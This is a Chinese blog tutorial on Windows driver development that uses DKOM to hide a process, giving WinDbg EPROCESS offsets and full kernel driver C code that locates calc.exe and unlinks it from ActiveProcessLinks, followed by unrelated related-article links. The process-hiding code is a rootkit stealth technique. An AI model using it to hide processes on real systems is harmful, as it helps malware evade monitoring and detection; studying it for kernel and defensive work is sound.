驱动开发:DKOM 实现进程隐藏

本文涉及的产品
实时计算 Flink 版,5000CU*H 3个月
简介: DKOM 就是直接内核对象操作技术,我们所有的操作都会被系统记录在内存中,而驱动进程隐藏的做旧就是操作进程的EPROCESS结构与线程的ETHREAD结构、链表,要实现进程的隐藏我们只需要将某个进程中的信息,在系统EPROCESS链表中摘除即可实现进程隐藏。

DKOM 就是直接内核对象操作技术,我们所有的操作都会被系统记录在内存中,而驱动进程隐藏的做旧就是操作进程的EPROCESS结构与线程的ETHREAD结构、链表,要实现进程的隐藏我们只需要将某个进程中的信息,在系统EPROCESS链表中摘除即可实现进程隐藏。

DKOM 隐藏进程的本质是操作EPROCESS结构体,EPROCESS结构体中包含了系统中的所有进程相关信息,还有很多指向其他结构的指针,首先我们可以通过WinDBG在内核调试模式下输入dt_eprocess 即可查看到当前的EPROCESS结构体的偏移信息,结构较多,但常用的就下面这几个。

kd> dt_eprocess

nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x160 ProcessLock      : _EX_PUSH_LOCK
   +0x168 CreateTime       : _LARGE_INTEGER                   // 创建时间
   +0x170 ExitTime         : _LARGE_INTEGER                     // 退出时间
   +0x180 UniqueProcessId  : Ptr64 Void                         // 进程的PID
   +0x188 ActiveProcessLinks : _LIST_ENTRY                    // 活动进程链表
   +0x200 ObjectTable      : Ptr64 _HANDLE_TABLE          // 指向句柄表的指针
   +0x2d8 Session          : Ptr64 Void                                // 会话列表
   +0x2e0 ImageFileName    : [15] UChar                         // 进程的名称
   +0x308 ThreadListHead   : _LIST_ENTRY                       // 进程中的线程链表结构
   +0x320 Wow64Process     : Ptr64 Void                        // 32位进程链表
   +0x328 ActiveThreads    : Uint4B                                 // 活动的线程
   +0x32c ImagePathHash    : Uint4B                               // 镜像路径的Hash值
   +0x338 Peb              : Ptr64 _PEB                                 // 指向PEB结构的指针
   +0x440 Flags            : Uint4B                                       // 进程标志

要实现进程的隐藏我们需要关注结构中的 ActiveProcessLinks 该指针把每个进程的EPROCESS结构体连接成了双向链表,我们可以使用 ZwQuerySystemInformation 这个函数来遍历出所有的进程信息,要实现进程的隐藏,只需要将某个进程的EPROCESS从结构体中摘除,那么通过ZwQuerySystemInformation函数就无法遍历出被摘链的进程了,从而实现了进程的隐藏。

在实现进程隐藏之前,我们需要通过代码的方式获取到当前系统中所有进程的EPROCESS信息,我们可以通过 PsLookupProcessByProcessId函数获取到指定进程的ID,然后通过 PsGetProcessImageFileName 函数取出结构名称,并通过 _stricmp 判断是否是我们想要隐藏的程序。

#include <ntifs.h>
NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);

VOID UnDriver(PDRIVER_OBJECT driver)
{
    DbgPrint(("驱动程序卸载成功! \n"));
}

PEPROCESS GetProcessObjectByName(char *name)
{
    SIZE_T temp;
    for (temp = 100; temp<10000; temp += 4)
    {
        NTSTATUS status;
        PEPROCESS ep;
        status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
        if (NT_SUCCESS(status))
        {
            char *pn = PsGetProcessImageFileName(ep);
            if (_stricmp(pn, name) == 0)
                return ep;
        }
    }
    return NULL;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    PEPROCESS PRoc = NULL;
    PRoc = GetProcessObjectByName("calc.exe");
    DriverObject->DriverUnload = UnDriver;
    return STATUS_SUCCESS;
}

然后得到句柄以后直接摘除进程的结构即可实现隐藏,这种摘除方式比较草率,如果关闭驱动后没有手工还原的话可能会导致蓝屏,该方法只用于在Win7上使用,Win10没试过。

#include <ntifs.h>
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x188

NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);

VOID UnDriver(PDRIVER_OBJECT driver)
{
    DbgPrint(("驱动程序卸载成功! \n"));
}

PEPROCESS GetProcessObjectByName(char *name)
{
    SIZE_T temp;
    for (temp = 100; temp<10000; temp += 4)
    {
        NTSTATUS status;
        PEPROCESS ep;
        status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
        if (NT_SUCCESS(status))
        {
            char *pn = PsGetProcessImageFileName(ep);
            if (_stricmp(pn, name) == 0)
                return ep;
        }
    }
    return NULL;
}

VOID RemoveListEntry(PLIST_ENTRY ListEntry)
{
    KIRQL OldIrql;
    OldIrql = KeRaiseIrqlToDpcLevel();
    if (ListEntry->Flink != ListEntry &&ListEntry->Blink != ListEntry &&ListEntry->Blink->Flink == ListEntry &&ListEntry->Flink->Blink == ListEntry)
    {
        ListEntry->Flink->Blink = ListEntry->Blink;
        ListEntry->Blink->Flink = ListEntry->Flink;
        ListEntry->Flink = ListEntry;
        ListEntry->Blink = ListEntry;
    }
    KeLowerIrql(OldIrql);
}

// 隐藏指定进程(会蓝屏)
BOOLEAN HideProcessB(PUCHAR pszHideProcessName)
{
    PEPROCESS pFirstEProcess = NULL, pEProcess = NULL;
    ULONG ulOffset = 0;
    HANDLE hProcessId = NULL;
    PUCHAR pszProcessName = NULL;

    // 获取相应偏移大小
    ulOffset = PROCESS_ACTIVE_PROCESS_LINKS_OFFSET;

    if (0 == ulOffset)
    {
        return FALSE;
    }

    // 获取当前进程结构对象
    pFirstEProcess = PsGetCurrentProcess();
    pEProcess = pFirstEProcess;

    // 开始遍历枚举进程
    do
    {
        // 从 EPROCESS 获取进程 PID
        hProcessId = PsGetProcessId(pEProcess);
        
        // 从 EPROCESS 获取进程名称
        pszProcessName = PsGetProcessImageFileName(pEProcess);
        
        // 隐藏指定进程
        if (0 == _stricmp(pszProcessName, pszHideProcessName))
        {
            // 摘链
            RemoveEntryList((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset));
            break;
        }

        // 根据偏移计算下一个进程的 EPROCESS
        pEProcess = (PEPROCESS)((PUCHAR)(((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset))->Flink) - ulOffset);
    } while (pFirstEProcess != pEProcess);
    return TRUE;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    PEPROCESS PRoc = NULL;
    PRoc = GetProcessObjectByName("calc.exe");

    // 摘除结构中的calc.exe 实现驱动隐藏计算器
    RemoveListEntry((PLIST_ENTRY)((ULONG64)PRoc + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
    DriverObject->DriverUnload = UnDriver;
    return STATUS_SUCCESS;
}

没什么难度,就是摘链,而这种断链隐藏,不仅操作不好会蓝屏且很容易被发现,只是能在任务管理器看不到而已。

相关实践学习
基于Hologres轻松玩转一站式实时仓库
本场景介绍如何利用阿里云MaxCompute、实时计算Flink和交互式分析服务Hologres开发离线、实时数据融合分析的数据大屏应用。
Linux入门到精通
本套课程是从入门开始的Linux学习课程,适合初学者阅读。由浅入深案例丰富,通俗易懂。主要涉及基础的系统操作以及工作中常用的各种服务软件的应用、部署和优化。即使是零基础的学员,只要能够坚持把所有章节都学完,也一定会受益匪浅。
目录
相关文章
|
3月前
|
Java 运维
开发与运维命令问题之使用jstack命令查看Java进程的线程栈如何解决
开发与运维命令问题之使用jstack命令查看Java进程的线程栈如何解决
51 2
|
2月前
|
JavaScript 开发工具
Electron 开发过程中主进程的无法看到 console.log 输出怎么办
Electron 开发过程中主进程的无法看到 console.log 输出怎么办
|
2月前
|
机器学习/深度学习 数据可视化 搜索推荐
低代码开发是一种能够加速软件研发进程的高效开发方法
【8月更文挑战第4天】低代码开发是一种能够加速软件研发进程的高效开发方法
46 0
|
3月前
|
SQL 自然语言处理 网络协议
【Linux开发实战指南】基于TCP、进程数据结构与SQL数据库:构建在线云词典系统(含注册、登录、查询、历史记录管理功能及源码分享)
TCP(Transmission Control Protocol)连接是互联网上最常用的一种面向连接、可靠的、基于字节流的传输层通信协议。建立TCP连接需要经过著名的“三次握手”过程: 1. SYN(同步序列编号):客户端发送一个SYN包给服务器,并进入SYN_SEND状态,等待服务器确认。 2. SYN-ACK:服务器收到SYN包后,回应一个SYN-ACK(SYN+ACKnowledgment)包,告诉客户端其接收到了请求,并同意建立连接,此时服务器进入SYN_RECV状态。 3. ACK(确认字符):客户端收到服务器的SYN-ACK包后,发送一个ACK包给服务器,确认收到了服务器的确
176 1
|
3月前
|
NoSQL Linux Redis
c++开发redis module问题之避免在fork后子进程中发生死锁,如何解决
c++开发redis module问题之避免在fork后子进程中发生死锁,如何解决
|
5月前
|
Java 调度 开发者
构建高效微服务架构:后端开发的新趋势深入理解操作系统之进程调度策略
【4月更文挑战第30天】 随着企业数字化转型的不断深入,传统的单体应用逐渐不能满足快速迭代和灵活部署的需求。微服务架构以其高度模块化、独立部署和易于扩展的特性,成为现代后端开发的重要趋势。本文将探讨如何构建一个高效的微服务架构,包括关键的设计原则、技术选型以及可能面临的挑战。
|
5月前
|
监控 C++
C++ Qt开发:QProcess进程管理模块
Qt是一个跨平台的C++图形库,简化了窗体应用开发,支持通过拖放组件提升效率。本章节关注`QProcess`组件,它用于控制和管理进程,例如执行命令、运行可执行文件及与外部进程通信。`QProcess`提供多种方法如`start`、`waitForStarted`和`waitForFinished`等,实现启动、监控和交互。示例展示了如何使用`QProcess`获取系统进程和信息,通过`tasklist`和`systeminfo`命令,并将结果展示在`QTreeWidget`中。
134 0
C++ Qt开发:QProcess进程管理模块
|
5月前
驱动保护 -- 通过PID保护指定进程
驱动保护 -- 通过PID保护指定进程
56 0
驱动保护 -- 通过PID保护指定进程
|
5月前
2023驱动保护学习 -- 通过驱动保护进程
2023驱动保护学习 -- 通过驱动保护进程
36 0
|
5月前
|
Linux 测试技术 调度
进程调度预备开发
进程调度预备开发
50 0